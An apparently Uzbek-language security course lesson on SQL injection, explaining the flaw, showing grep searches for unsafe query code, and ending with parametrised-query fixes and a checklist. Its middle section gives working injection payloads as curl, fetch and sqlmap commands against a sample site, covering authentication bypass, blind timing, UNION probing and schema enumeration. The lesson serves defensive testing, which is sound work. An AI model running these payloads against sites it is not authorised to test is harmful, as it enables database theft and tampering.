SQL Injection

≡ Barcha darslar
Tezkor 🔎 Indeks
💉

SQL Injection

Ma'lumot bazasiga so'rov buzish
Dars 02 Jiddiy o'z saytingizda
1

Maqsad

Foydalanuvchi kiritgan qiymat SQL so'roviga birlashtirilib yuborilayotgan bo'lsa — hujumchi so'rov mantiq'ini o'zgartirib, ma'lumot bazasini o'qiy yoki o'zgartirishi mumkin.

NatijaOqibat
Barcha foydalanuvchilar ro'yxatiMijozlar bazasi sizib chiqadi
Parol hash'lariBarcha parollar buziladi (hash = md5 bo'lsa)
UNION bilan boshqa jadvalTo'lov/kart ma'lumotlari
UPDATE/DROPMa'lumot o'chiriladi
Siz qilayotgan SQLBaza butunlay nazoratda
2

Tushuntirish

qanday ishlaydi

Asosiy mexanizm

// XAVFLI — satrni to'g'ridan-to'g'ri birlashtirish
sql = "SELECT * FROM users WHERE email='" + email + "' AND pass='" + pass + "'";
db.query(sql);

// Hujum: email = ' OR '1'='1
// natija SQL:
SELECT * FROM users WHERE email='' OR '1'='1' AND pass='x'
                  // ← "1=1" doim rost → shart yutadi

// To'g'ri — parametrli so'rov
sql = "SELECT * FROM users WHERE email = ? AND pass = ?";
db.query(sql, [email, pass]);    // qiymat alohida, kod sifatida emas
Nima uchun xavfsiz

Parametrli so'rovda ' belgisi maxfiy kod sifatida qaraladi — uni bajarishga urinish ham ishlamaydi. Bu — barcha SQL injection hujumlarining 100% yechimi.

Asosiy SQL tiplari

TurBelgiNatija
Error-based'Xato orqali baza tuzilmasini olish
Boolean-basedAND 1=1Ha/yo'q javob → ma'lumotni bitma-bit olish
Time-basedSLEEP(5)Javob sekinlashib ma'lumot olinadi
UNIONUNION SELECTBoshqa jadvalni qo'shish
Stacked;Ikkinchi buyruq bajarish (INSERT/UPDATE)
3

Qanday aniqlanadi

SQL izlarini qidiring
# 1) kodda SQL qatori
grep -rnE "SELECT |INSERT |UPDATE |DELETE |query\(|raw\(|sequelize" src/ | head -20

# 2) birlashtirish belgilari (xavfli)
grep -rnE "\+ *(req\.|request\.|params|body)|\$\{.*\}" src/ | grep -iE "query|sql"

# 3) raw() va query() — xavfli joylar
grep -rn "\.raw(" src/ | head
grep -rn "prisma\.\$queryRaw" src/ | head

# 4) parametrlar kim to'ldiradi?
grep -rnE "req\.(body|query|params)" src/controllers/ | head -20
4

Buyruqlar

test payloadlari
# 1) asosiy aniqlash
curl -s "https://site.uz/products?id=1'" | grep -iE "sql|syntax|mysql|postgres|error"
# xato xabari chiqsa — SQL injection bor

# 2) boolean-based (javob uzunligini solishtiring)
curl -s -o /dev/null -w "%{size_download}\n" "https://site.uz/products?id=1 AND 1=1"
curl -s -o /dev/null -w "%{size_download}\n" "https://site.uz/products?id=1 AND 1=2"
# 1=1 katta, 1=2 kichik bo'lsa — SQL inj. tasdiqlandi

# 3) time-based (5 sek kutish)
time curl -s -o /dev/null "https://site.uz/products?id=1 AND SLEEP(5)"
time curl -s -o /dev/null "https://site.uz/products?id=1 AND SLEEP(0)"
# birinchisi 5s, ikkinchisi tez — BLIND SQL INJ

# 4) UNION — ustun sonini aniqlash
curl -s "https://site.uz/products?id=1 UNION SELECT 1"
curl -s "https://site.uz/products?id=1 UNION SELECT 1,2"
curl -s "https://site.uz/products?id=1 UNION SELECT 1,2,3,4,5"
# qaysi son xato bermasa — o'sha miqdorda ustun bor

# 5) Jadval va ustun nomlari
curl -s "https://site.uz/products?id=1 UNION SELECT table_name,2 FROM information_schema.tables LIMIT 1"

# JSON API da
curl -s 'https://site.uz/api/products?sort=name&dir=asc;SELECT 1' | head -c 150

# sqlmap (avtomatik) — faqat o'z saytingizda
sqlmap -u "https://site.uz/products?id=1" --dbs
REM 1) asosiy aniqlash
curl -s "https://site.uz/products?id=1'" | findstr /I "sql syntax mysql error"

REM 2) boolean-based
curl -s -o NUL -w "%%{size_download}\n" "https://site.uz/products?id=1 AND 1=1"
curl -s -o NUL -w "%%{size_download}\n" "https://site.uz/products?id=1 AND 1=2"

REM 3) time-based (PowerShell o'lchagich)
Measure-Command {{ curl -s -o NUL "https://site.uz/products?id=1 AND SLEEP(5)" }} | Select TotalSeconds
Measure-Command {{ curl -s -o NUL "https://site.uz/products?id=1 AND SLEEP(0)" }} | Select TotalSeconds

REM 4) UNION
curl -s "https://site.uz/products?id=1 UNION SELECT 1,2,3"

REM cmd.exe da URL kodlash shart:
REM  ^  belgisi CMD da escape belgisi — ^ bilan yozing
# faqat curl — hamma platformada
curl -s "https://site.uz/products?id=1%27" | grep -iE "sql|syntax"
curl -s -o /dev/null -w "%{size_download}\n" "https://site.uz/products?id=1%20AND%201=1"
curl -s -o /dev/null -w "%{size_download}\n" "https://site.uz/products?id=1%20AND%201=2"

# brauzer konsolida
fetch('/products?id=1%20AND%201=1').then(r=>r.text()).then(t=>console.log(t.length))
fetch('/products?id=1%20AND%201=2').then(r=>r.text()).then(t=>console.log(t.length))
5

Natija

✓ MUvaffaqiyat — hujum ISHLADI
Server javobiNima degani
`SQL syntax error` / `mysql` xabari**Error-based SQL injection**
`1=1` katta, `1=2` kichik javob**Boolean-based blind SQLi**
`SLEEP(5)` javob 5+ sek kechikdi**Time-based blind SQLi**
`UNION SELECT 1,2,3` muvaffaqiyatli**UNION injection** — boshqa jadval oqildi
`information_schema` dan ma'lumot keldiTo'liq kirish — **jiddiy**
✗ Rad etish — hujum ISHLAMADI
Server javobiNima degani
`' ` da oddiy xato (boshqa sabab)Ehtimol SQL injection emas
`1=1` va `1=2` bir xilSo'rov bir xil → filtr ishlamoqda
`SLEEP` vaqtni o'zgartirmadiBlind SQL yo'q (yoki boshqa DB)
Parametrli so'rov ishlatilgan**Zaiflik yo'q** — to'g'ri qurilgan
6

Zararni yopish

1. Parametrli so'rov — asosiy yechim

// Node + Prisma (Lingofy usuli)
const user = await prisma.user.findUnique({
  where: { email: String(email).toLowerCase() }
});

// Raw SQL kerak bo'lsa
await prisma.$queryRaw`SELECT * FROM users WHERE email = ${{email}}`;
// ↑ tag ichida interpolatsiya — ${{ }} emas, oddiy $1 emas

// MySQL / raw modul
db.query('SELECT * FROM users WHERE email = ?', [email]);

2. Hech qachon birlashtirmang

// ❌
db.query("SELECT * FROM u WHERE id = " + id);

// ✅
db.query("SELECT * FROM u WHERE id = ?", [Number(id)]);

3. Qatlamli himoya

  • WAF (qo'shimcha, asosiy emas)
  • DB foydalanuvchisi — faqat o'z bazasiga ruxsat
  • Ma'lumot bazasi internetga ochiq emas (port yopiq)
  • Xatolar foydalanuvchiga ko'rsatilmasin
7

Tekshirish ro'yxati

  • Barcha so'rovlar parametrli (placeholder ishlatiladi)
  • Hech qayerda satrni `+` bilan birlashtirish yo'q
  • `ORDER BY` va `LIMIT` ham parametrli
  • Xato sahifalari SQL matni ko'rsatmaydi
  • DB porti internetdan yopiq
  • DB foydalanuvchisi minimal huquq bilan
  • `id='` kabi payload bilan test qilindi